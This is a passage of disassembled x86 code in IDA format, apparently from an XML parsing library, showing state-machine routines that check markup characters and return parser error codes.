		cmp	[ebp+nChar], eax
		jnz	short loc_69B31FE1
		xor	eax, eax
		inc	eax
		jmp	short loc_69B31FE3
; ---------------------------------------------------------------------------


loc_69B31FE1:				; CODE XREF: sub_69B31FAA+22j
					; sub_69B31FAA+30j
		xor	eax, eax


loc_69B31FE3:				; CODE XREF: sub_69B31FAA+35j
		pop	ebp
		retn	10h
sub_69B31FAA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B31FE7	proc near		; CODE XREF: sub_69B3587A+12p
					; sub_69B35A98+48p
		push	ebx
		xor	ebx, ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	edi, [esi+98h]
		push	dword ptr [edi]
		mov	[esi+5Ch], bl
		mov	[esi+5Dh], bl
		mov	[esi+52h], bx
		mov	[esi+44h], ebx
		mov	[esi+56h], bx
		mov	[esi+48h], ebx
		mov	[esi+64h], ebx
		mov	[esi+60h], ebx
		mov	[esi+4], bx
		mov	[esi+4Ch], ebx
		mov	[esi+78h], ebx
		mov	[esi+0A5h], bl
		mov	[esi+9Ch], ebx
		call	sub_69B1B2B7
		mov	[edi], ebx
		pop	edi
		mov	[esi+0A0h], ebx
		mov	[esi+50h], bl
		mov	[esi+0A4h], bl
		mov	[esi+0A6h], bl
		mov	[esi+0B0h], bl
		mov	[esi+3Ah], bl
		mov	[esi+38h], bx
		mov	[esi+3Ch], ebx
		mov	[esi+0ACh], ebx
		mov	[esi+0B4h], ebx
		mov	[esi+0B1h], bl
		mov	[esi+0B2h], bl
		mov	[esi+51h], bl
		mov	[esi+8Eh], bl
		mov	[esi+90h], ebx
		mov	[esi+94h], ebx
		mov	byte ptr [esi+0B9h], 1
		mov	byte ptr [esi+8Dh], 1
		pop	esi
		pop	ebx
		retn
sub_69B31FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B32091	proc near		; CODE XREF: sub_69B3219Cp
					; sub_69B321AFp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+34h]
		test	edi, edi
		jnz	short loc_69B320A5
		xor	eax, eax
		jmp	short loc_69B320DF
; ---------------------------------------------------------------------------


loc_69B320A5:				; CODE XREF: sub_69B32091+Ej
		push	ebx
		mov	ebx, [esi+24h]
		dec	ebx


loc_69B320AA:				; CODE XREF: sub_69B32091+49j
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	ecx, edi
		call	sub_69B35C11
		cmp	[ebp+var_4], 0
		ja	short loc_69B320E3
		test	ebx, ebx
		jl	short loc_69B320DC
		mov	eax, [esi+1Ch]
		mov	ecx, [esi+20h]
		imul	eax, ebx
		mov	edi, [eax+ecx]
		dec	ebx
		test	edi, edi
		jnz	short loc_69B320AA


loc_69B320DC:				; CODE XREF: sub_69B32091+38j
		xor	eax, eax


loc_69B320DE:				; CODE XREF: sub_69B32091+54j
		pop	ebx


loc_69B320DF:				; CODE XREF: sub_69B32091+12j
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_69B320E3:				; CODE XREF: sub_69B32091+34j
		mov	eax, edi
		jmp	short loc_69B320DE
sub_69B32091	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B320E7	proc near		; CODE XREF: sub_69B2132A+8Fp
					; sub_69B2132A+145p ...

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		push	esi
		mov	esi, ecx
		lea	ecx, [esi+8]
		call	sub_69B318FB
		test	eax, eax
		jnz	short loc_69B320FD
		mov	eax, 8007000Eh
		jmp	short loc_69B3212F
; ---------------------------------------------------------------------------


loc_69B320FD:				; CODE XREF: sub_69B320E7+Dj
		mov	cx, [esp+4+arg_4]
		mov	[eax+4], cx
		mov	ecx, [esi]
		mov	[eax], ecx
		mov	ecx, [esi+90h]
		mov	[eax+8], ecx
		mov	ecx, [esi+94h]
		mov	[eax+0Ch], ecx
		mov	ecx, [esi+30h]
		mov	[eax+10h], ecx
		mov	eax, [esp+4+arg_0]
		and	word ptr [esi+4], 0
		mov	[esi], eax
		xor	eax, eax


loc_69B3212F:				; CODE XREF: sub_69B320E7+14j
		pop	esi
		retn	8
sub_69B320E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B32133	proc near		; CODE XREF: sub_69B384B3+27p
					; sub_69B39299+58p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+34h]
		test	esi, esi
		jz	short loc_69B3214B
		mov	ecx, esi
		call	sub_69B35E77
		push	esi
		call	sub_69B1B2B7


loc_69B3214B:				; CODE XREF: sub_69B32133+9j
		push	dword ptr [edi+98h]
		call	sub_69B1B2B7
		lea	esi, [edi+1Ch]
		mov	eax, [esi+8]
		test	eax, eax
		jz	short loc_69B32167
		dec	eax
		imul	eax, [esi]
		add	eax, [esi+4]


loc_69B32167:				; CODE XREF: sub_69B32133+2Bj
		test	eax, eax
		jz	short loc_69B3218B
		push	ebx


loc_69B3216C:				; CODE XREF: sub_69B32133+55j
		mov	ebx, [eax]
		test	ebx, ebx
		jz	short loc_69B3217F
		mov	ecx, ebx
		call	sub_69B35E77
		push	ebx
		call	sub_69B1B2B7


loc_69B3217F:				; CODE XREF: sub_69B32133+3Dj
		mov	ecx, esi
		call	sub_69B31F0D
		test	eax, eax
		jnz	short loc_69B3216C
		pop	ebx


loc_69B3218B:				; CODE XREF: sub_69B32133+36j
		mov	ecx, esi
		call	sub_69B88EF5
		lea	ecx, [edi+8]
		pop	edi
		pop	esi
		jmp	sub_69B88EF5
sub_69B32133	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3219C	proc near		; CODE XREF: sub_69B37967+1Ap
		call	sub_69B32091
		test	eax, eax
		jz	short loc_69B321AC
		mov	ecx, eax
		jmp	sub_69B35BF2
; ---------------------------------------------------------------------------


loc_69B321AC:				; CODE XREF: sub_69B3219C+7j
		xor	eax, eax
		retn
sub_69B3219C	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B321AF	proc near		; CODE XREF: sub_69B3799A+1Ap

; FUNCTION CHUNK AT 69B35BF6 SIZE 00000014 BYTES

		call	sub_69B32091
		test	eax, eax
		jz	short loc_69B321BF
		mov	ecx, eax
		jmp	loc_69B35BF6
; ---------------------------------------------------------------------------


loc_69B321BF:				; CODE XREF: sub_69B321AF+7j
		xor	eax, eax
		retn
sub_69B321AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B321C2	proc near		; CODE XREF: sub_69B379CD+1Ap

; FUNCTION CHUNK AT 69B35C0A SIZE 00000007 BYTES

		call	sub_69B32091
		test	eax, eax
		jz	short loc_69B321D2
		mov	ecx, eax
		jmp	loc_69B35C0A
; ---------------------------------------------------------------------------


loc_69B321D2:				; CODE XREF: sub_69B321C2+7j
		xor	eax, eax
		retn
sub_69B321C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B321D5	proc near		; CODE XREF: sub_69B37A00+47p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_69B32206
		cmp	[esp+4+arg_4], 0
		jz	short loc_69B32206
		and	dword ptr [esi], 0
		call	sub_69B32091
		test	eax, eax
		jz	short loc_69B32202
		push	[esp+4+arg_8]
		mov	ecx, eax
		push	[esp+8+arg_4]
		call	sub_69B35C11
		mov	[esi], eax


loc_69B32202:				; CODE XREF: sub_69B321D5+1Aj
		xor	eax, eax
		jmp	short loc_69B3220B
; ---------------------------------------------------------------------------


loc_69B32206:				; CODE XREF: sub_69B321D5+7j
					; sub_69B321D5+Ej
		mov	eax, 80070057h


loc_69B3220B:				; CODE XREF: sub_69B321D5+2Fj
		pop	esi
		retn	0Ch
sub_69B321D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3220F	proc near		; CODE XREF: sub_69B2132A+24Cp
					; sub_69B32274+20p ...

arg_0		= byte ptr  4

		lea	edx, [ecx+8]
		mov	eax, [edx+8]
		test	eax, eax
		jz	short loc_69B32220
		dec	eax
		imul	eax, [edx]
		add	eax, [edx+4]


loc_69B32220:				; CODE XREF: sub_69B3220F+8j
		cmp	byte ptr [ecx+0A8h], 0
		push	esi
		jz	short loc_69B32249
		cmp	byte ptr [ecx+0B2h], 0
		jnz	short loc_69B32249
		cmp	[esp+4+arg_0], 0
		jz	short loc_69B32249
		mov	esi, [ecx+30h]
		cmp	esi, [eax+10h]
		jz	short loc_69B32249
		mov	eax, 0C00CE55Bh
		jmp	short loc_69B32270
; ---------------------------------------------------------------------------


loc_69B32249:				; CODE XREF: sub_69B3220F+19j
					; sub_69B3220F+22j ...
		mov	esi, [eax]
		mov	[ecx], esi
		mov	si, [eax+4]
		mov	[ecx+4], si
		mov	esi, [eax+8]
		mov	[ecx+90h], esi
		mov	eax, [eax+0Ch]
		mov	[ecx+94h], eax
		mov	ecx, edx
		call	sub_69B31F0D
		xor	eax, eax


loc_69B32270:				; CODE XREF: sub_69B3220F+38j
		pop	esi
		retn	4
sub_69B3220F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B32274	proc near		; CODE XREF: sub_69B33C72+CFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	eax, [esi+10h]
		test	eax, eax
		push	edi
		jz	short loc_69B32287
		dec	eax
		imul	eax, [esi+8]
		add	eax, [esi+0Ch]


loc_69B32287:				; CODE XREF: sub_69B32274+9j
		mov	eax, [eax+10h]
		mov	edi, [esi+30h]
		push	0
		mov	ecx, esi
		mov	[esi+30h], eax
		call	sub_69B3220F
		test	eax, eax
		jl	short loc_69B322BC
		xor	eax, eax
		mov	ax, [esi+4]
		mov	ecx, esi
		push	eax
		push	[esp+0Ch+arg_0]
		call	sub_69B320E7
		test	eax, eax
		jl	short loc_69B322BC
		mov	ecx, esi
		mov	[esi+30h], edi
		call	[esp+8+arg_0]


loc_69B322BC:				; CODE XREF: sub_69B32274+27j
					; sub_69B32274+3Dj
		pop	edi
		pop	esi
		retn	4
sub_69B32274	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B322C1	proc near		; CODE XREF: sub_69B33E72+5C2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ecx
		mov	eax, [esi+10h]
		test	eax, eax
		push	edi
		jz	short loc_69B322D4
		dec	eax
		imul	eax, [esi+8]
		add	eax, [esi+0Ch]


loc_69B322D4:				; CODE XREF: sub_69B322C1+9j
		mov	eax, [eax+10h]
		mov	edi, [esi+30h]
		push	0
		mov	ecx, esi
		mov	[esi+30h], eax
		call	sub_69B3220F
		test	eax, eax
		jl	short loc_69B3231F
		xor	eax, eax
		mov	ax, [esi+4]
		mov	ecx, esi
		push	eax
		push	offset sub_69B33E72
		call	sub_69B320E7
		test	eax, eax
		jl	short loc_69B3231F
		mov	ecx, [esp+8+arg_0]
		mov	[esi+90h], ecx
		mov	ecx, [esp+8+arg_4]
		mov	[esi+94h], ecx
		mov	ecx, esi
		mov	[esi+30h], edi
		call	sub_69B33E72


loc_69B3231F:				; CODE XREF: sub_69B322C1+27j
					; sub_69B322C1+3Ej
		pop	edi
		pop	esi
		retn	8
sub_69B322C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B32324	proc near		; DATA XREF: sub_69B33C72:loc_69B33D3Ao
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		xor	ebx, ebx
		sub	eax, ebx
		push	edi
		jz	short loc_69B32356
		dec	eax
		jz	short loc_69B3238E
		dec	eax
		jz	loc_69B323C5
		dec	eax
		jz	loc_69B3242E
		dec	eax
		jz	loc_69B32485
		mov	eax, 0C00CE512h
		jmp	loc_69B324C7
; ---------------------------------------------------------------------------


loc_69B32356:				; CODE XREF: sub_69B32324+Ej
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32370
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B32377
; ---------------------------------------------------------------------------


loc_69B32370:				; CODE XREF: sub_69B32324+38j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32377:				; CODE XREF: sub_69B32324+4Aj
		cmp	eax, ebx
		jnz	loc_69B324C7
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1
		mov	word ptr [esi+4], 1


loc_69B3238E:				; CODE XREF: sub_69B32324+11j
		lea	edi, [esi+52h]
		cmp	word ptr [edi],	5Dh
		jz	short loc_69B323B6
		lea	ebp, [esi+5Ch]


loc_69B3239A:				; CODE XREF: sub_69B32324+90j
		cmp	[ebp+0], bl
		jnz	short loc_69B323B6
		mov	ecx, [esi+34h]
		lea	eax, [esi+54h]
		push	eax
		push	edi
		call	sub_69B35B2D
		cmp	eax, ebx
		jl	short loc_69B323DF
		cmp	word ptr [edi],	5Dh
		jnz	short loc_69B3239A


loc_69B323B6:				; CODE XREF: sub_69B32324+71j
					; sub_69B32324+79j
		cmp	[esi+5Ch], bl
		jnz	loc_69B32458
		mov	word ptr [esi+4], 2


loc_69B323C5:				; CODE XREF: sub_69B32324+14j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B3240D
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B32414
; ---------------------------------------------------------------------------


loc_69B323DF:				; CODE XREF: sub_69B32324+8Aj
		cmp	eax, 8000000Ah
		jnz	loc_69B324C7
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32401
		mov	ecx, [esi+34h]
		push	ebp
		push	edi
		call	sub_69B35FE4
		jmp	loc_69B324C7
; ---------------------------------------------------------------------------


loc_69B32401:				; CODE XREF: sub_69B32324+CCj
		mov	ecx, esi
		call	sub_69B34A8C
		jmp	loc_69B324C7
; ---------------------------------------------------------------------------


loc_69B3240D:				; CODE XREF: sub_69B32324+A7j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32414:				; CODE XREF: sub_69B32324+B9j
		cmp	eax, ebx
		jnz	loc_69B324C7
		cmp	[esi+5Ch], bl
		jnz	short loc_69B32458
		cmp	word ptr [esi+52h], 5Dh
		jnz	short loc_69B32477
		mov	word ptr [esi+4], 3


loc_69B3242E:				; CODE XREF: sub_69B32324+1Bj
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32448
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B3244F
; ---------------------------------------------------------------------------


loc_69B32448:				; CODE XREF: sub_69B32324+110j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B3244F:				; CODE XREF: sub_69B32324+122j
		cmp	eax, ebx
		jnz	short loc_69B324C7
		cmp	[esi+5Ch], bl
		jz	short loc_69B3245F


loc_69B32458:				; CODE XREF: sub_69B32324+95j
					; sub_69B32324+FBj
		mov	eax, 0C00CE564h
		jmp	short loc_69B324C7
; ---------------------------------------------------------------------------


loc_69B3245F:				; CODE XREF: sub_69B32324+132j
		mov	ax, [esi+52h]
		cmp	ax, 5Dh
		jnz	short loc_69B32471
		mov	word ptr [esi+4], 3
		jmp	short loc_69B324C5
; ---------------------------------------------------------------------------


loc_69B32471:				; CODE XREF: sub_69B32324+143j
		cmp	ax, 3Eh
		jz	short loc_69B3247F


loc_69B32477:				; CODE XREF: sub_69B32324+102j
		mov	word ptr [esi+4], 1
		jmp	short loc_69B324C5
; ---------------------------------------------------------------------------


loc_69B3247F:				; CODE XREF: sub_69B32324+151j
		mov	word ptr [esi+4], 4


loc_69B32485:				; CODE XREF: sub_69B32324+22j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B3249F
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B324A6
; ---------------------------------------------------------------------------


loc_69B3249F:				; CODE XREF: sub_69B32324+167j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B324A6:				; CODE XREF: sub_69B32324+179j
		cmp	eax, ebx
		jnz	short loc_69B324C7
		push	1
		mov	ecx, esi
		mov	dword ptr [esi+44h], 0Eh
		mov	dword ptr [esi+48h], 0FFFFFFFDh
		call	sub_69B3220F
		cmp	eax, ebx
		jl	short loc_69B324C7


loc_69B324C5:				; CODE XREF: sub_69B32324+14Bj
					; sub_69B32324+159j
		xor	eax, eax


loc_69B324C7:				; CODE XREF: sub_69B32324+2Dj
					; sub_69B32324+55j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B32324	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B324CC	proc near		; CODE XREF: sub_69B33E72+571p
					; DATA XREF: sub_69B33E72+55Fo
		push	esi
		mov	esi, ecx
		movsx	ecx, word ptr [esi+4]
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_69B324FA
		dec	ecx
		jnz	short loc_69B32535
		mov	ecx, [esi+34h]
		or	dword ptr [esi+48h], 0FFFFFFFFh
		call	sub_69B35CAD
		push	1
		mov	ecx, esi
		mov	dword ptr [esi+44h], 1Bh
		call	sub_69B3220F
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B324FA:				; CODE XREF: sub_69B324CC+Bj
		mov	ecx, [esi+34h]
		push	0
		mov	dword ptr [esi+44h], 45h
		call	sub_69B318D1
		mov	ecx, [esi+34h]
		call	sub_69B35C91
		push	1
		push	offset sub_69B347D3
		mov	ecx, esi
		mov	byte ptr [esi+0A9h], 1
		mov	byte ptr [esi+0A8h], 1
		call	sub_69B320E7
		test	eax, eax
		jl	short loc_69B32535
		xor	eax, eax


loc_69B32535:				; CODE XREF: sub_69B324CC+Ej
					; sub_69B324CC+65j
		pop	esi
		retn
sub_69B324CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B32537	proc near		; DATA XREF: sub_69B34A8C+32o
		push	esi
		push	1
		mov	esi, ecx
		call	sub_69B3220F
		test	eax, eax
		jl	short loc_69B3254D
		mov	ecx, esi
		pop	esi
		jmp	sub_69B34A8C
; ---------------------------------------------------------------------------


loc_69B3254D:				; CODE XREF: sub_69B32537+Cj
		pop	esi
		retn
sub_69B32537	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3254F	proc near		; CODE XREF: sub_69B2132A+154p
					; sub_69B3347E+17Dj ...
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+34h]
		mov	eax, [ecx+48h]
		cmp	eax, [ecx+8]
		push	edi
		jnz	short loc_69B32599
		lea	edi, [esi+5Ch]


loc_69B32561:				; CODE XREF: sub_69B3254F+48j
		cmp	byte ptr [edi],	0
		jnz	short loc_69B32599
		cmp	byte ptr [esi+0A8h], 0
		jnz	short loc_69B3257B
		push	edi
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B32582
; ---------------------------------------------------------------------------


loc_69B3257B:				; CODE XREF: sub_69B3254F+1Ej
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32582:				; CODE XREF: sub_69B3254F+2Aj
		test	eax, eax
		jnz	short loc_69B325A2
		cmp	[esi+0B0h], al
		jnz	short loc_69B325A5
		mov	ecx, [esi+34h]
		mov	eax, [ecx+48h]
		cmp	eax, [ecx+8]
		jz	short loc_69B32561


loc_69B32599:				; CODE XREF: sub_69B3254F+Dj
					; sub_69B3254F+15j
		push	0
		mov	ecx, esi
		call	sub_69B3220F


loc_69B325A2:				; CODE XREF: sub_69B3254F+35j
					; sub_69B3254F+58j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B325A5:				; CODE XREF: sub_69B3254F+3Dj
		xor	eax, eax
		jmp	short loc_69B325A2
sub_69B3254F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B325A9	proc near		; DATA XREF: sub_69B33E72+5CAo
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		xor	ebx, ebx
		sub	eax, ebx
		push	edi
		jz	short loc_69B325DB
		dec	eax
		jz	short loc_69B3262C
		dec	eax
		jz	loc_69B32664
		dec	eax
		jz	loc_69B326B9
		dec	eax
		jz	loc_69B32723
		mov	eax, 0C00CE512h
		jmp	loc_69B3278C
; ---------------------------------------------------------------------------


loc_69B325DB:				; CODE XREF: sub_69B325A9+Ej
		mov	al, [esi+0A8h]
		cmp	al, bl
		mov	[esi+0B1h], al
		mov	[esi+8Dh], bl
		jnz	short loc_69B32603
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B3260A
; ---------------------------------------------------------------------------


loc_69B32603:				; CODE XREF: sub_69B325A9+46j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B3260A:				; CODE XREF: sub_69B325A9+58j
		cmp	eax, ebx
		jnz	loc_69B3278C
		cmp	[esi+5Ch], bl
		jnz	loc_69B3272A
		cmp	word ptr [esi+52h], 2Dh
		jnz	loc_69B32742
		mov	word ptr [esi+4], 1


loc_69B3262C:				; CODE XREF: sub_69B325A9+11j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32646
		mov	ecx, [esi+34h]
		lea	eax, [esi+5Ch]
		push	eax
		lea	eax, [esi+52h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B3264D
; ---------------------------------------------------------------------------


loc_69B32646:				; CODE XREF: sub_69B325A9+89j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B3264D:				; CODE XREF: sub_69B325A9+9Bj
		cmp	eax, ebx
		jnz	loc_69B3278C
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1
		mov	word ptr [esi+4], 2


loc_69B32664:				; CODE XREF: sub_69B325A9+14j
		lea	edi, [esi+5Ch]
		cmp	[edi], bl
		jnz	loc_69B3272A
		lea	ebp, [esi+52h]


loc_69B32672:				; CODE XREF: sub_69B325A9+104j
		xor	eax, eax
		mov	ax, [ebp+0]
		cmp	ax, 2Dh
		jz	short loc_69B326CD
		push	eax
		call	sub_69B319A7
		test	eax, eax
		jz	short loc_69B326F1
		cmp	[esi+0A8h], bl
		jnz	short loc_69B3269C
		mov	ecx, [esi+34h]
		push	edi
		push	ebp
		call	sub_69B35FE4
		jmp	short loc_69B326A3
; ---------------------------------------------------------------------------


loc_69B3269C:				; CODE XREF: sub_69B325A9+E5j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B326A3:				; CODE XREF: sub_69B325A9+F1j
		cmp	eax, ebx
		jnz	loc_69B3278C
		cmp	[edi], bl
		jz	short loc_69B32672


loc_69B326AF:				; CODE XREF: sub_69B325A9+141j
		cmp	[edi], bl
		jnz	short loc_69B3272A
		mov	word ptr [esi+4], 3


loc_69B326B9:				; CODE XREF: sub_69B325A9+1Bj
		lea	eax, [esi+52h]
		cmp	word ptr [eax],	2Dh
		jz	short loc_69B326FB
		mov	word ptr [esi+4], 2
		jmp	loc_69B3278A
; ---------------------------------------------------------------------------


loc_69B326CD:				; CODE XREF: sub_69B325A9+D3j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B326E1
		mov	ecx, [esi+34h]
		push	edi
		push	ebp
		call	sub_69B35FE4
		jmp	short loc_69B326E8
; ---------------------------------------------------------------------------


loc_69B326E1:				; CODE XREF: sub_69B325A9+12Aj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B326E8:				; CODE XREF: sub_69B325A9+136j
		cmp	eax, ebx
		jz	short loc_69B326AF
		jmp	loc_69B3278C
; ---------------------------------------------------------------------------


loc_69B326F1:				; CODE XREF: sub_69B325A9+DDj
		mov	eax, 0C00CE508h
		jmp	loc_69B3278C
; ---------------------------------------------------------------------------


loc_69B326FB:				; CODE XREF: sub_69B325A9+117j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32712
		lea	ecx, [esi+5Ch]
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B32719
; ---------------------------------------------------------------------------


loc_69B32712:				; CODE XREF: sub_69B325A9+158j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32719:				; CODE XREF: sub_69B325A9+167j
		cmp	eax, ebx
		jnz	short loc_69B3278C
		mov	word ptr [esi+4], 4


loc_69B32723:				; CODE XREF: sub_69B325A9+22j
		lea	eax, [esi+5Ch]
		cmp	[eax], bl
		jz	short loc_69B32731


loc_69B3272A:				; CODE XREF: sub_69B325A9+6Cj
					; sub_69B325A9+C0j ...
		mov	eax, 0C00CE561h
		jmp	short loc_69B3278C
; ---------------------------------------------------------------------------


loc_69B32731:				; CODE XREF: sub_69B325A9+17Fj
		lea	ecx, [esi+52h]
		cmp	word ptr [ecx],	3Eh
		jz	short loc_69B32749
		cmp	[esi+8Bh], bl
		jnz	short loc_69B32749


loc_69B32742:				; CODE XREF: sub_69B325A9+77j
		mov	eax, 0C00CE503h
		jmp	short loc_69B3278C
; ---------------------------------------------------------------------------


loc_69B32749:				; CODE XREF: sub_69B325A9+18Fj
					; sub_69B325A9+197j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B3275D
		push	eax
		push	ecx
		mov	ecx, [esi+34h]
		call	sub_69B35FE4
		jmp	short loc_69B32764
; ---------------------------------------------------------------------------


loc_69B3275D:				; CODE XREF: sub_69B325A9+1A6j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32764:				; CODE XREF: sub_69B325A9+1B2j
		cmp	eax, ebx
		jnz	short loc_69B3278C
		push	1
		mov	ecx, esi
		mov	dword ptr [esi+48h], 0FFFFFFFDh
		mov	dword ptr [esi+44h], 10h
		call	sub_69B3220F
		cmp	eax, ebx
		jl	short loc_69B3278C
		mov	byte ptr [esi+8Dh], 1


loc_69B3278A:				; CODE XREF: sub_69B325A9+11Fj
		xor	eax, eax


loc_69B3278C:				; CODE XREF: sub_69B325A9+2Dj
					; sub_69B325A9+63j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_69B325A9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B32791	proc near		; CODE XREF: sub_69B2132A+9Ep
					; sub_69B2132A+3FFp ...
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		movsx	eax, word ptr [esi+4]
		push	edi
		xor	ebx, ebx
		sub	eax, ebx
		push	1
		pop	ebp
		jz	short loc_69B327BB
		dec	eax
		jz	short loc_69B327EF
		dec	eax
		jz	loc_69B3288A
		dec	eax
		jz	short loc_69B327FD
		mov	eax, 0C00CE512h
		jmp	loc_69B3284D
; ---------------------------------------------------------------------------


loc_69B327BB:				; CODE XREF: sub_69B32791+11j
		xor	eax, eax
		mov	ax, [esi+52h]
		push	eax
		call	sub_69B31987
		test	eax, eax
		jnz	short loc_69B327E2
		mov	esi, [esi+34h]
		mov	eax, [esi+48h]
		sub	eax, [esi+8]
		neg	eax
		sbb	eax, eax
		and	eax, 0FFFFFFF1h
		add	eax, 0C00CE513h
		jmp	short loc_69B3284D
; ---------------------------------------------------------------------------


loc_69B327E2:				; CODE XREF: sub_69B32791+38j
		mov	ecx, [esi+34h]
		push	ebx
		call	sub_69B318D1
		mov	[esi+4], bp


loc_69B327EF:				; CODE XREF: sub_69B32791+14j
		cmp	[esi+89h], bl
		mov	[esi+64h], ebx
		mov	[esi+60h], ebx
		jz	short loc_69B32852


loc_69B327FD:				; CODE XREF: sub_69B32791+1Ej
		xor	eax, eax
		lea	edi, [esi+52h]
		mov	ax, [edi]
		push	eax
		call	sub_69B31967
		test	eax, eax
		jz	short loc_69B32845
		lea	ebp, [esi+5Ch]


loc_69B32812:				; CODE XREF: sub_69B32791+B2j
		cmp	[ebp+0], bl
		jnz	short loc_69B32845
		cmp	[esi+0A8h], bl
		jnz	short loc_69B3282B
		mov	ecx, [esi+34h]
		push	ebp
		push	edi
		call	sub_69B35FE4
		jmp	short loc_69B32832
; ---------------------------------------------------------------------------


loc_69B3282B:				; CODE XREF: sub_69B32791+8Cj
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32832:				; CODE XREF: sub_69B32791+98j
		cmp	eax, ebx
		jnz	short loc_69B3284D
		xor	eax, eax
		mov	ax, [edi]
		push	eax
		call	sub_69B31967
		test	eax, eax
		jnz	short loc_69B32812


loc_69B32845:				; CODE XREF: sub_69B32791+7Cj
					; sub_69B32791+84j ...
		mov	ecx, esi
		push	ebx
		call	sub_69B3220F


loc_69B3284D:				; CODE XREF: sub_69B32791+25j
					; sub_69B32791+4Fj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_69B32852:				; CODE XREF: sub_69B32791+6Aj
		lea	eax, [esi+52h]
		cmp	word ptr [eax],	3Ah
		jnz	short loc_69B32862
		mov	eax, 0C00CE504h
		jmp	short loc_69B3284D
; ---------------------------------------------------------------------------


loc_69B32862:				; CODE XREF: sub_69B32791+C8j
		cmp	[esi+0A8h], bl
		jnz	short loc_69B32879
		lea	ecx, [esi+5Ch]
		push	ecx
		mov	ecx, [esi+34h]
		push	eax
		call	sub_69B35FE4
		jmp	short loc_69B32880
; ---------------------------------------------------------------------------


loc_69B32879:				; CODE XREF: sub_69B32791+D7j
		mov	ecx, esi
		call	sub_69B34A8C


loc_69B32880:				; CODE XREF: sub_69B32791+E6j
		cmp	eax, ebx
		jnz	short loc_69B3284D
		mov	word ptr [esi+4], 2


loc_69B3288A:				; CODE XREF: sub_69B32791+17j
		lea	edi, [esi+52h]


